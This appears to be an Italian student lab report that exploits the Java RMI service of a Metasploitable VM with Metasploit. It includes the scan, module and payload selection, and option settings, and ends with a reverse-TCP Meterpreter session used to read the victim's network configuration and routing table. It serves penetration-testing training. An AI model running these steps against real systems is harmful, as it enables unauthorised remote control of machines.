

The background features a dark blue gradient with a subtle pattern of white stars and constellations. Overlaid on this are several technical diagrams in a lighter blue color. These include circular gauges with radial scales and tick marks, some with numbers like 40, 150, 160, 180, 200, 210, 220, 230, 240, 250, and 260. There are also concentric circles, dashed lines, and arrows, suggesting a technical or scientific theme.

# EXPLOIT DELLA VULNERABILITÀ JAVA RMI

PROGETTO N7

FRANCESCO FUSCHETTO

# INCIPIIT

Sfruttando la vulnerabilità nota: «Java RMI» sulla porta 1099, è richiesto di aprire una sessione Meterpreter sulla macchina vulnerabile al fine di ottenere i seguenti risultati:

- ☐ Visualizzare la configurazione di rete
- ☐ Ottenere informazioni sulla tabella di routing

# PREPARAZIONE

Come premessa per lo svolgimento dell'attacco veniva richiesto il cambiamento dell'IP della macchina «attaccante» quello della macchina «vittima» ed una scansione di quest'ultima per verificarne la vulnerabilità.

» Kali 192.168.11.111

» Metasploitable 192.168.11.112

```
(francesco@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feb1:88e2 prefixlen 64 scopeid 0<link>
    ether 08:00:27:b1:88:e2 txqueuelen 1000 (Ethernet)
    RX packets 2362 bytes 199371 (194.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1626 bytes 365716 (357.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@metasploitable:/home/msfadmin# ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:c5:37:64
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec5:3764/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:2606 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1617 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:441354 (431.0 KB) TX bytes:149129 (145.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

[sudo] password for francesco:
(francesco@kali)-[/home/francesco]
# nmap -A -T5 192.168.11.112 -p1099
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 10:41 CET
Nmap scan report for 192.168.11.112
Host is up (0.00044s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:C5:37:64 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.11.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.07 seconds
```



# METASPLOIT: RICERCA DELL'EXPLOIT

Una volta assolate le premesse è stata avviata la console di Metasploit sulla macchina Kali. Come primo passaggio è stato necessario cercare l'exploit corretto per riuscire ad ottenere una sessione Meterpreter sulla macchina Metasplotable. Per farlo è stato necessario utilizzare delle parole chiave per filtrare il database di Metasploit e di conseguenza ottenere una lista accettabile di possibili exploit utilizzabili.

Un modulo Exploit, a differenza di uno Auxiliary che consente di effettuare attività ausiliarie come la ricerca di informazioni, è composto oltre che dal target anche dal payload. Quest'ultimo consiste in un codice che viene eseguito sulla macchina vittima e permette di eseguire sia una shell standard che un meterpreter. L'utilizzo di meterpreter consente di avere un controllo molto avanzato sulla macchina vittima dando la possibilità di aprire shell di comando, catturare screenshot, manipolare il sistema e altro.

La scelta dello specifico exploit è data dalle caratteristiche dello stesso, infatti è etichettato di rank Eccellente ed è stato verificato a differenza degli altri. In una situazione normale si procede comunque alla verifica di tutti i risultati per constatarne la l'eseguibilità.

Nel caso specifico l'exploit selezionato «`exploit/misc/java_rmi_server`» era già 'caricato' con un payload di default che rispondeva alle esigenze, ovvero conteneva il meterpreter in reverse tcp. Questo consente di aprire una sessione di meterpreter con invio di dati dalla macchina Metasploitable verso la macchina Kali sfruttando una connessione TCP che consente l'esecuzione di comandi, l'invio di file e altro ancora. Nel caso in cui si necessiti di un diverso payload Metasploit offre comunque una lista di payloads compatibili.

```
s Enumeration
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure De
fault Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure En
dpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Dese
rialization Privilege Escalation
```

Interact with a module by name or index. For example `info 3`, use `3` or use `exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show payloads
```

#### Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom		normal	No	Custom Payload
1	payload/generic/shell_bind_aws_ssm		normal	No	Command Shell, Bind SSM (via AWS API
2	payload/generic/shell_bind_tcp		normal	No	Generic Command Shell, Bind TCP Inli
3	payload/generic/shell_reverse_tcp		normal	No	Generic Command Shell, Reverse TCP I
4	payload/generic/ssh/interact		normal	No	Interact with Established SSH Connec
5	payload/java/jsp_shell_bind_tcp		normal	No	Java JSP Command Shell, Bind TCP Inl
6	payload/java/jsp_shell_reverse_tcp		normal	No	Java JSP Command Shell, Reverse TCP
7	payload/java/meterpreter/bind_tcp		normal	No	Java Meterpreter, Java Bind TCP Stag
8	payload/java/meterpreter/reverse_http		normal	No	Java Meterpreter, Java Reverse HTTP
9	payload/java/meterpreter/reverse_https		normal	No	Java Meterpreter, Java Reverse HTTPS
10	payload/java/meterpreter/reverse_tcp		normal	No	Java Meterpreter, Java Reverse TCP S
11	payload/java/shell/bind_tcp		normal	No	Command Shell, Java Bind TCP Stager
12	payload/java/shell/reverse_tcp		normal	No	Command Shell, Java Reverse TCP Stag
13	payload/java/shell_reverse_tcp		normal	No	Java Command Shell, Reverse TCP Inli
14	payload/multi/meterpreter/reverse_http		normal	No	Architecture-Independent Meterpreter
15	payload/multi/meterpreter/reverse_https		normal	No	Architecture-Independent Meterpreter



# METASPLOIT: CONFIGURAZIONE DEI PARAMETRI DELL'EXPLOIT

Selezionato l'exploit e verificato che il payload risponda alle necessità è necessario impostare i parametri per poterlo eseguire. La lista di questi viene visualizzata nelle opzioni dell'exploit e li suddivide in necessari e non.

All'exploit scelto, come parametro necessario manca solo l'IP della macchina vittima definito come RHOSTS e viene quindi settato con il comando specifico. Si può osservare nell'immagine come ora il modulo sia completo e pronto per essere eseguito.

```
Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10                      yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099                  yes       The target port (TCP)
  SRVHOST   0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                   yes       The local port to listen on.
  SSL       false                  no        Negotiate SSL for incoming connections
  SSLCert   C:\Program Files\Metasploit Framework\lib\ssl\cert.pem no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   /                      no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ---      -
  LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)
```

# METASPLOIT: ESECUZIONE DELL'EXPLOIT

Preparato il tutto è stato lanciato l'exploit.  
Essendo andato a buon fine è stata creata la  
sessione Meterpreter come richiesto.

```
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Bwhti0yJF6G0aJd
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:55850) at 2023-11-10 10:37:34 +0100

meterpreter > ifconfig
```

# METERPRETER: CONNESSIONE APERTA

Avendo ottenuto la sessione desiderata è stato possibile soddisfare le richieste iniziali quali:

- Visualizzazione delle configurazioni di rete
- Visualizzazione della routing table

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fec5:3764
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1    255.0.0.0     0.0.0.0      0       lo
192.168.11.112 255.255.255.0 0.0.0.0      0       eth0

METHODS
-----
IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric  Interface
-----
::1         ::           ::           0       lo
fe80::a00:27ff:fec5:3764 ::           ::           0       eth0

meterpreter >
```



# CONCLUSIONI

Tramite lo svolgimento di questo progetto è stato possibile vedere che una volta verificata una vulnerabilità si possono utilizzare tools potentissimi come Metasploit.

Questi mettono a disposizione dell'utente un enorme database di moduli exploit ed auxiliary.

Tutto questo consente ad un utente capace di sfruttare vulnerabilità precedentemente ricercate, o di trovarne altre, e mettersi al comando di una qualsiasi macchina infetta ottenendo tutto ciò che desidera.